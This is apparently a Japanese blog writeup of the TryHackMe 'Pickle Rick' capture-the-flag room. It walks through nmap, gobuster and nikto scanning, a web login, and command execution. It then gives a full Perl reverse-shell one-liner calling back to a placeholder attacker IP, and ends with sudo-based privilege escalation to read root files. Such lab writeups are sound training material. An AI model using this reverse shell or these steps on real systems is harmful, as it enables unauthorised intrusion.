はまやんはまやんはまやん

hamayanhamayan's blog

Pickle Rick 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210512195707p:plain

一部を■で隠しています。

第一段階:RCE達成まで

$ export IP=■■■■■■■■
$ ping $IP

ポートスキャンする。

nmap

$ nmap -sC -sV $IP
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 23:56:fa:04:6a:f6:3f:68:7c:98:33:8d:80:92:8c:fa (RSA)
|   256 1f:76:48:9d:24:23:21:d3:c1:b1:81:ae:bb:2c:30:6c (ECDSA)
|_  256 86:de:5f:86:8a:44:cc:ab:11:af:7a:6f:36:a0:4c:bf (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

とりあえず、80ですね。

ポート80

f:id:hamayanhamayan:20210512200844p:plain

BURRRRRRということでgobusterする。
回しながら情報を集めると、コメントにUsername: R1ckRul3sというのがあったのと、
/assets/へアクセスするとディレクトリリスティングされてきた。

$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt
http://$IP/assets (Status: 301)
http://$IP/index.html (Status: 200)
http://$IP/robots.txt (Status: 200)
http://$IP/server-status (Status: 403)

ほう。robots.txtへアクセスすると■■■■■■■■■■■■か…
手詰まり感があるし、他に攻撃面もないので、niktoで脆弱性スキャンしてみよう。

nikto

$ nikto -h $IP
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 426, size: 5818ccf125686, mtime: gzip
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST 
+ Cookie PHPSESSID created without the httponly flag
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 7889 requests: 0 error(s) and 9 item(s) reported on remote host
---------------------------------------------------------------------------
+ 1 host(s) tested

いくつか上がってきた。とりあえず、/login.phpというのがあるので見てみる。
今までの情報を元に試すとR1ckRul3s:■■■■■■■■■■■■でログイン試行するとログインできる。
突拍子もないアイデアに思えるかもしれないが、公開情報からパスワード候補を抜き出してくるというのは実際にある手法である。

コマンド実行可能

$ ls
Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt
$ cat Sup3rS3cretPickl3Ingred.txt
Command disabled to make it hard for future PICKLEEEE RICCCKKKK.
$ php --version
PHP 7.0.32-0ubuntu0.16.04.1 (cli) ( NTS )

ほう。catは使えないが、phpは使える。 使えるのだが、リバースシェルを書いてみると使えない。ふーむ。
リストを見ながら色々探して刺さるやつを探してくる。perlで行けそう

$ perl --version
This is perl 5, version 22, subversion 1 (v5.22.1) built for x86_64-linux-gnu-thread-multi
$ perl -e 'use Socket;$i="[ipaddress]";$p=30303;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

第二段階:侵入成功後

とりあえず取れる所取っていく

$ cat Sup3rS3cretPickl3Ingred.txt
■■■■■■■■■■■■■■■
$ cat clue.txt
Look around the file system for the other ingredient.

ok. 色々見てみよう。

$ ls /home/rick
second ingredients
$ cat "/home/rick/second ingredients"
■■■■■■■■■■■■■

手詰まりだな…権限昇格できるかな

権限昇格を目指す

色々見てみるとSUDOがなんでもできる状態になっていることに気が付く。

$ sudo -l
Matching Defaults entries for www-data on
    ip-10-10-79-12.eu-west-1.compute.internal:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on
        ip-10-10-79-12.eu-west-1.compute.internal:
    (ALL) NOPASSWD: ALL
$ sudo ls /root
3rd.txt
snap
$ sudo cat /root/3rd.txt
3rd ingredients: ■■■■■■■■■■■

やっと全部抜き取れた…